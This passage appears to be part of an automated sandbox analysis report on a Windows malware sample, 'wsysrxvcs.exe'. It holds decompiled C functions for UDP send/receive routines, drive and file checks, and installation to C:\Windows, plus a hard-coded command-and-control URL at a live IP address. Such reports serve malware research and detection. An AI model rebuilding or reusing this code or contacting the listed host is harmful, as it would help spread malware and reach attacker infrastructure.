                                                                                                                                                                                                                                                                                                                                                      0x00405c75
                                                                                                                                                                                                                                                                                                                                                      0x00405c78
                                                                                                                                                                                                                                                                                                                                                      0x00405c7b
                                                                                                                                                                                                                                                                                                                                                      0x00405c7e
                                                                                                                                                                                                                                                                                                                                                      0x00405c81
                                                                                                                                                                                                                                                                                                                                                      0x00405c84
                                                                                                                                                                                                                                                                                                                                                      0x00405c87
                                                                                                                                                                                                                                                                                                                                                      0x00405c8a
                                                                                                                                                                                                                                                                                                                                                      0x00405c8d
                                                                                                                                                                                                                                                                                                                                                      0x00405c97
                                                                                                                                                                                                                                                                                                                                                      0x00405ca1
                                                                                                                                                                                                                                                                                                                                                      0x00405cab
                                                                                                                                                                                                                                                                                                                                                      0x00405cb5
                                                                                                                                                                                                                                                                                                                                                      0x00405cbf
                                                                                                                                                                                                                                                                                                                                                      0x00405cc4
                                                                                                                                                                                                                                                                                                                                                      0x00405cca
                                                                                                                                                                                                                                                                                                                                                      0x00405ce5
                                                                                                                                                                                                                                                                                                                                                      0x00405cf3
                                                                                                                                                                                                                                                                                                                                                      0x00405d06
                                                                                                                                                                                                                                                                                                                                                      0x00405d07
                                                                                                                                                                                                                                                                                                                                                      0x00405d18
                                                                                                                                                                                                                                                                                                                                                      0x00405d33
                                                                                                                                                                                                                                                                                                                                                      0x00405d38
                                                                                                                                                                                                                                                                                                                                                      0x00405d41
                                                                                                                                                                                                                                                                                                                                                      0x00405d4c
                                                                                                                                                                                                                                                                                                                                                      0x00405d51
                                                                                                                                                                                                                                                                                                                                                      0x00405d51
                                                                                                                                                                                                                                                                                                                                                      0x00405cdf
                                                                                                                                                                                                                                                                                                                                                      0x00405cdf
                                                                                                                                                                                                                                                                                                                                                      0x00405d5b
                                                                                                                                                                                                                                                                                                                                                      0x00405d5b

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Sleep$wsprintf
                                                                                                                                                                                                                                                                                                                                                      • String ID: %s%s$http://185.215.113.66/
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3195947292-2646931437
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: c2d29a5a82f54b7e3925ced9cbd5e66a9b6a409f4fc8df8a086f8b4b12743491
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: ffd4236d09b0cc1b61e573669b6e99f642ee8622c30dead1791ce8fa64cf6ba2
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c2d29a5a82f54b7e3925ced9cbd5e66a9b6a409f4fc8df8a086f8b4b12743491
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1F211DB0E00318AFDB50DF64DD45BDEBBB4AB09304F1081AAD60DB6281D7785A888F5A
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040DAC0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 106networkCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 68%
                                                                                                                                                                                                                                                                                                                                                      			E0040DAC0(int __eax, long _a4, void* _a8, intOrPtr _a12, short _a16) {
				short _v6;
				short _v10;
				short _v14;
				short _v18;
				short _v20;
				short _v22;
				int* _v24;
				char _v25;
				char _v29;
				int* _v52;
				char _v53;
				short _t30;
				short _t35;
				long _t38;
				int* _t45;
				intOrPtr* _t50;
				void* _t60;
				int _t64;
				long _t67;

				_t50 = _a4;
				_t64 = __eax;
				_t30 = 0;
				_v25 = 0;
				if(_t50 == 0 ||  *_t50 != 0x756470 || _a8 == 0 || __eax == 0) {
					L12:
					return _t30;
				} else {
					_t60 = __eax + 4;
					_t45 = E00408A10(_t60);
					_t6 =  &(_t45[1]); // 0x4
					_v24 = _t45;
					 *_t45 = _t64;
					memcpy(_t6, _a8, _t64);
					_v18 = 0;
					_v14 = 0;
					_v10 = 0;
					_v6 = 0;
					_t35 = _a16;
					_v20 = 2;
					__imp__#9(_t35);
					_v22 = _t35;
					_v20 = _a12;
					if(_t60 == 0) {
						L10:
						_v29 = 1;
						E00408B60(_t45);
						return _v29;
					} else {
						while(1) {
							_t38 = _a4;
							__imp__#20( *((intOrPtr*)(_t38 + 8)), _t45, _t60, 0,  &_v24, 0x10); // executed
							_t67 = _t38;
							if(_t67 == 0xffffffff) {
								break;
							}
							InterlockedExchangeAdd(_a4 + 0x1c, _t67);
							_t60 = _t60 - _t67;
							_t45 = _t45 + _t67;
							if(_t60 != 0) {
								continue;
							} else {
								_v53 = 1;
								E00408B60(_v52);
								return _v53;
							}
							goto L13;
						}
						if(_t60 != 0) {
							E00408B60(_v52);
							_t30 = _v53;
							goto L12;
						} else {
							_t45 = _v52;
							goto L10;
						}
					}
				}
				L13:
			}






















                                                                                                                                                                                                                                                                                                                                                      0x0040dac9
                                                                                                                                                                                                                                                                                                                                                      0x0040dace
                                                                                                                                                                                                                                                                                                                                                      0x0040dad0
                                                                                                                                                                                                                                                                                                                                                      0x0040dad3
                                                                                                                                                                                                                                                                                                                                                      0x0040dad9
                                                                                                                                                                                                                                                                                                                                                      0x0040dbda
                                                                                                                                                                                                                                                                                                                                                      0x0040dbe0
                                                                                                                                                                                                                                                                                                                                                      0x0040dafd
                                                                                                                                                                                                                                                                                                                                                      0x0040dafd
                                                                                                                                                                                                                                                                                                                                                      0x0040db06
                                                                                                                                                                                                                                                                                                                                                      0x0040db0d
                                                                                                                                                                                                                                                                                                                                                      0x0040db11
                                                                                                                                                                                                                                                                                                                                                      0x0040db15
                                                                                                                                                                                                                                                                                                                                                      0x0040db17
                                                                                                                                                                                                                                                                                                                                                      0x0040db1e
                                                                                                                                                                                                                                                                                                                                                      0x0040db22
                                                                                                                                                                                                                                                                                                                                                      0x0040db26
                                                                                                                                                                                                                                                                                                                                                      0x0040db2a
                                                                                                                                                                                                                                                                                                                                                      0x0040db2f
                                                                                                                                                                                                                                                                                                                                                      0x0040db3b
                                                                                                                                                                                                                                                                                                                                                      0x0040db40
                                                                                                                                                                                                                                                                                                                                                      0x0040db49
                                                                                                                                                                                                                                                                                                                                                      0x0040db4e
                                                                                                                                                                                                                                                                                                                                                      0x0040db54
                                                                                                                                                                                                                                                                                                                                                      0x0040dbb0
                                                                                                                                                                                                                                                                                                                                                      0x0040dbb1
                                                                                                                                                                                                                                                                                                                                                      0x0040dbb6
                                                                                                                                                                                                                                                                                                                                                      0x0040dbc8
                                                                                                                                                                                                                                                                                                                                                      0x0040db56
                                                                                                                                                                                                                                                                                                                                                      0x0040db56
                                                                                                                                                                                                                                                                                                                                                      0x0040db56
                                                                                                                                                                                                                                                                                                                                                      0x0040db68
                                                                                                                                                                                                                                                                                                                                                      0x0040db6e
                                                                                                                                                                                                                                                                                                                                                      0x0040db73
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040db7d
                                                                                                                                                                                                                                                                                                                                                      0x0040db83
                                                                                                                                                                                                                                                                                                                                                      0x0040db85
                                                                                                                                                                                                                                                                                                                                                      0x0040db89
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040db8b
                                                                                                                                                                                                                                                                                                                                                      0x0040db90
                                                                                                                                                                                                                                                                                                                                                      0x0040db95
                                                                                                                                                                                                                                                                                                                                                      0x0040dba7
                                                                                                                                                                                                                                                                                                                                                      0x0040dba7
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040db89
                                                                                                                                                                                                                                                                                                                                                      0x0040dbaa
                                                                                                                                                                                                                                                                                                                                                      0x0040dbce
                                                                                                                                                                                                                                                                                                                                                      0x0040dbd3
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040dbac
                                                                                                                                                                                                                                                                                                                                                      0x0040dbac
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040dbac
                                                                                                                                                                                                                                                                                                                                                      0x0040dbaa
                                                                                                                                                                                                                                                                                                                                                      0x0040db54
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • memcpy.NTDLL(00000004,00000000,?,?), ref: 0040DB17
                                                                                                                                                                                                                                                                                                                                                      • htons.WS2_32(?), ref: 0040DB40
                                                                                                                                                                                                                                                                                                                                                      • sendto.WS2_32(?,00000000,?,00000000,?,00000010), ref: 0040DB68
                                                                                                                                                                                                                                                                                                                                                      • InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040DB7D
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: ExchangeInterlockedhtonsmemcpysendto
                                                                                                                                                                                                                                                                                                                                                      • String ID: pdu
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2164660128-2320407122
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 72d6befec4a1933a0a75296db3cf7fd18f9f62edfbc729bb97ddc3b762b849f0
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: e5113007e974e67825df127a2d5b5685a505e22743b1e83325dad6d2005c263a
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 72d6befec4a1933a0a75296db3cf7fd18f9f62edfbc729bb97ddc3b762b849f0
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3031E3766043049FC710DFA9D880A9BB7F4AFC9714F04456EF89897381E67499088BAB
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00405B10 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 22memoryCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • CoInitializeEx.OLE32(00000000,00000002,?,?,00406429), ref: 00405B18
                                                                                                                                                                                                                                                                                                                                                      • SysAllocString.OLEAUT32(C:\Windows\wsysrxvcs.exe), ref: 00405B23
                                                                                                                                                                                                                                                                                                                                                      • CoUninitialize.OLE32 ref: 00405B48
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00405880: SysFreeString.OLEAUT32(00000000), ref: 00405A98
                                                                                                                                                                                                                                                                                                                                                      • SysFreeString.OLEAUT32(00000000), ref: 00405B42
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\wsysrxvcs.exe, xrefs: 00405B1E
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: String$Free$AllocInitializeUninitialize
                                                                                                                                                                                                                                                                                                                                                      • String ID: C:\Windows\wsysrxvcs.exe
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 459949847-3972555508
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 2db787551f8400b5154615f23e1bb1221c69f356ee019b5dd6257dfff1719785
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 9e918e232ba98e16205a9f08a9f1d69638b7faa6892c1a05ecbc2cf11cc7630f
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2db787551f8400b5154615f23e1bb1221c69f356ee019b5dd6257dfff1719785
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 79E01275941208FBD714ABE0EC0EBDD7778EB05305F5080A5F90556290D6B95E80CB59
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00404B40 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00404B40(WCHAR* _a4) {
				int _v8;
				short _v1052;
				int _v1056;
				int _t14;
				long _t17;
				int _t18;

				_t14 = GetDriveTypeW(_a4); // executed
				_v8 = _t14;
				_v1056 = _v8;
				if(_v1056 >= 2 && (_v1056 <= 3 || _v1056 == 6)) {
					_t17 = QueryDosDeviceW(_a4,  &_v1052, 0x208); // executed
					if(_t17 != 0) {
						_t18 = StrCmpNW( &_v1052, L"\\??\\", 4); // executed
						if(_t18 == 0) {
							_v8 = 1;
						}
					}
				}
				return _v8;
			}









                                                                                                                                                                                                                                                                                                                                                      0x00404b4d
                                                                                                                                                                                                                                                                                                                                                      0x00404b53
                                                                                                                                                                                                                                                                                                                                                      0x00404b59
                                                                                                                                                                                                                                                                                                                                                      0x00404b66
                                                                                                                                                                                                                                                                                                                                                      0x00404b8c
                                                                                                                                                                                                                                                                                                                                                      0x00404b94
                                                                                                                                                                                                                                                                                                                                                      0x00404ba4
                                                                                                                                                                                                                                                                                                                                                      0x00404bac
                                                                                                                                                                                                                                                                                                                                                      0x00404bae
                                                                                                                                                                                                                                                                                                                                                      0x00404bae
                                                                                                                                                                                                                                                                                                                                                      0x00404bac
                                                                                                                                                                                                                                                                                                                                                      0x00404b94
                                                                                                                                                                                                                                                                                                                                                      0x00404bbb

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • GetDriveTypeW.KERNELBASE(00404BFF), ref: 00404B4D
                                                                                                                                                                                                                                                                                                                                                      • QueryDosDeviceW.KERNELBASE(00404BFF,?,00000208), ref: 00404B8C
                                                                                                                                                                                                                                                                                                                                                      • StrCmpNW.KERNELBASE(?,\??\,00000004), ref: 00404BA4
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: DeviceDriveQueryType
                                                                                                                                                                                                                                                                                                                                                      • String ID: \??\
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1681518211-3047946824
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 0cc65059e2213257c0b06d5a0aa75501f96d2483c5671e2eb6b001ad2bc10b43
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: d7e4f12292dd92e978d998afc9571577f2852cc916d148133fdc328a7213dc46
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 0cc65059e2213257c0b06d5a0aa75501f96d2483c5671e2eb6b001ad2bc10b43
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B901E1B4940208ABCB20CF55DD49BD977B4AB44704F0081F9AB08A7280D6B5ABC5CF99
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040D070 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 28fileCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E0040D070(char _a4) {
				long _v8;
				void* _v12;
				void* _t10;

				_v8 = 0;
				_t2 =  &_a4; // 0x405440
				_t10 = CreateFileW( *_t2, 0x80000000, 1, 0, 3, 0, 0); // executed
				_v12 = _t10;
				if(_v12 != 0xffffffff) {
					_v8 = GetFileSize(_v12, 0);
					FindCloseChangeNotification(_v12); // executed
				}
				return _v8;
			}






                                                                                                                                                                                                                                                                                                                                                      0x0040d076
                                                                                                                                                                                                                                                                                                                                                      0x0040d08c
                                                                                                                                                                                                                                                                                                                                                      0x0040d090
                                                                                                                                                                                                                                                                                                                                                      0x0040d096
                                                                                                                                                                                                                                                                                                                                                      0x0040d09d
                                                                                                                                                                                                                                                                                                                                                      0x0040d0ab
                                                                                                                                                                                                                                                                                                                                                      0x0040d0b2
                                                                                                                                                                                                                                                                                                                                                      0x0040d0b2
                                                                                                                                                                                                                                                                                                                                                      0x0040d0be

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • CreateFileW.KERNELBASE(@T@,80000000,00000001,00000000,00000003,00000000,00000000,00405440), ref: 0040D090
                                                                                                                                                                                                                                                                                                                                                      • GetFileSize.KERNEL32(000000FF,00000000), ref: 0040D0A5
                                                                                                                                                                                                                                                                                                                                                      • FindCloseChangeNotification.KERNELBASE(000000FF), ref: 0040D0B2
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: File$ChangeCloseCreateFindNotificationSize
                                                                                                                                                                                                                                                                                                                                                      • String ID: @T@
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 4178644524-667979026
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: e24c9e26e69efa751899c84a214ae5334934a94b20914f31abdf684007cd48cc
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 4d1f4df1473c03c13be12acd2716f7b50fa2ec79510b8491761d2cfaa6b4a851
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e24c9e26e69efa751899c84a214ae5334934a94b20914f31abdf684007cd48cc
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: BCF01274A40308FBDB20DFA4DC49B8DBB74AB04711F208155FA04772D0D6B55A458B54
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040D9C0 Relevance: 6.1, APIs: 4, Instructions: 84synchronizationCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 64%
                                                                                                                                                                                                                                                                                                                                                      			E0040D9C0(char* __edx, intOrPtr _a4) {
				short _v18;
				short _v22;
				short _v26;
				short _v28;
				short _v30;
				char _v32;
				char _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				char _v56;
				intOrPtr _v68;
				char* _t23;
				short _t26;
				long _t29;
				short _t34;
				intOrPtr _t37;
				intOrPtr _t43;
				long _t47;
				signed int _t48;
				void* _t50;

				_t40 = __edx;
				_t50 = (_t48 & 0xfffffff8) - 0x1c;
				_t34 = 0;
				_t43 = _a4;
				_v28 = 0;
				do {
					_t23 =  &_v32;
					_v32 = 0;
					__imp__#10( *(_t43 + 8), 0x4004667f, _t23); // executed
					if(_t23 == 0xffffffff) {
						break;
					}
					_t37 = _v44;
					if(_t37 != 0) {
						if(_t34 == 0 || _v40 < _t37) {
							_v40 = _t37;
							_t26 = E00408A50(_t37, _t40, _t34, _t37);
							_t37 = _v44;
							_t50 = _t50 + 8;
							_t34 = _t26;
						}
						_v30 = 0;
						_v26 = 0;
						_v22 = 0;
						_v18 = 0;
						_t29 =  *(_t43 + 8);
						_v32 = 0;
						_t40 =  &_v32;
						_v36 = 0x10;
						__imp__#17(_t29, _t34, _t37, 0,  &_v32,  &_v36); // executed
						_t47 = _t29;
						if(_t47 != 0xffffffff && _t47 != 0) {
							InterlockedExchangeAdd(_t43 + 0x18, _t47);
							_t40 =  &_v56;
							E0040D890(_t43, _t34, _t47, _v68,  &_v56);
							_t50 = _t50 + 0x14;
						}
					}
				} while (WaitForSingleObject( *(_t43 + 0x10), 1) == 0x102);
				return E00408B60(_t34);
			}























                                                                                                                                                                                                                                                                                                                                                      0x0040d9c0
                                                                                                                                                                                                                                                                                                                                                      0x0040d9c6
                                                                                                                                                                                                                                                                                                                                                      0x0040d9cb
                                                                                                                                                                                                                                                                                                                                                      0x0040d9ce
                                                                                                                                                                                                                                                                                                                                                      0x0040d9d1
                                                                                                                                                                                                                                                                                                                                                      0x0040d9d5
                                                                                                                                                                                                                                                                                                                                                      0x0040d9d8
                                                                                                                                                                                                                                                                                                                                                      0x0040d9e3
                                                                                                                                                                                                                                                                                                                                                      0x0040d9eb
                                                                                                                                                                                                                                                                                                                                                      0x0040d9f4
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040d9fa
                                                                                                                                                                                                                                                                                                                                                      0x0040da00
                                                                                                                                                                                                                                                                                                                                                      0x0040da08
                                                                                                                                                                                                                                                                                                                                                      0x0040da12
                                                                                                                                                                                                                                                                                                                                                      0x0040da16
                                                                                                                                                                                                                                                                                                                                                      0x0040da1b
                                                                                                                                                                                                                                                                                                                                                      0x0040da1f
                                                                                                                                                                                                                                                                                                                                                      0x0040da22
                                                                                                                                                                                                                                                                                                                                                      0x0040da22
                                                                                                                                                                                                                                                                                                                                                      0x0040da28
                                                                                                                                                                                                                                                                                                                                                      0x0040da2c
                                                                                                                                                                                                                                                                                                                                                      0x0040da30
                                                                                                                                                                                                                                                                                                                                                      0x0040da34
                                                                                                                                                                                                                                                                                                                                                      0x0040da3e
                                                                                                                                                                                                                                                                                                                                                      0x0040da41
                                                                                                                                                                                                                                                                                                                                                      0x0040da46
                                                                                                                                                                                                                                                                                                                                                      0x0040da50
                                                                                                                                                                                                                                                                                                                                                      0x0040da58
                                                                                                                                                                                                                                                                                                                                                      0x0040da5e
                                                                                                                                                                                                                                                                                                                                                      0x0040da63
                                                                                                                                                                                                                                                                                                                                                      0x0040da6e
                                                                                                                                                                                                                                                                                                                                                      0x0040da78
                                                                                                                                                                                                                                                                                                                                                      0x0040da81
                                                                                                                                                                                                                                                                                                                                                      0x0040da86
                                                                                                                                                                                                                                                                                                                                                      0x0040da86
                                                                                                                                                                                                                                                                                                                                                      0x0040da63
                                                                                                                                                                                                                                                                                                                                                      0x0040da95
                                                                                                                                                                                                                                                                                                                                                      0x0040daaf

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • ioctlsocket.WS2_32 ref: 0040D9EB
                                                                                                                                                                                                                                                                                                                                                      • recvfrom.WS2_32 ref: 0040DA58
                                                                                                                                                                                                                                                                                                                                                      • InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040DA6E
                                                                                                                                                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(?,00000001), ref: 0040DA8F
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: ExchangeInterlockedObjectSingleWaitioctlsocketrecvfrom
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3980219359-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: abe162ae36915b5c621fa5e00ac0161981bffc11e0c2c3ba644e41dfa74ce6eb
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: cd43f8c3902c5727d39bbc61be3be8259c32a55a5bef2e2a25043b607f508e6b
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: abe162ae36915b5c621fa5e00ac0161981bffc11e0c2c3ba644e41dfa74ce6eb
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 66219BB16043056FD304DF65DC4496BB7E8EF84314F044A3EF855D2291E774D9488BAA
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00405880 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 238COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 68%
                                                                                                                                                                                                                                                                                                                                                      			E00405880(intOrPtr _a4) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				intOrPtr _v20;
				void* _v24;
				intOrPtr* _v28;
				void* _v32;
				short _v36;
				char _v40;
				intOrPtr _t95;
				void* _t101;
				void* _t103;
				intOrPtr _t110;
				void* _t118;
				void* _t122;
				void* _t199;
				void* _t200;

				_v28 = 0;
				_v32 = 0;
